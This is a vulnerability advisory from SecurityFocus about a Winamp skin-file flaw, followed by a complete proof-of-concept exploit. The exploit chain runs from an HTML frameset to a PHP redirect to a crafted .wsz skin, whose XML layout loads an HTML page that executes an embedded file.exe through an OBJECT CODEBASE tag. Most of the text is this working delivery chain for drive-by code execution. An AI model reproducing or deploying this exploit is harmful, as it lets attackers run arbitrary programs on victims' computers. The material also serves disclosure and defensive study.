source: https://www.securityfocus.com/bid/11053/info
A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.
This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.
This vulnerability is reported to affect all versions of Winamp up to and including 5.04.
index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>
Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>
foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml
/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>
/xml/includes.xml
-------------------
<include file="player.xml"/>
/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>
/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>
/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>info@petroldesigns.com</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>
<include file="xml/includes.xml"/>
<!--
-->
</WinampAbstractionLayer>
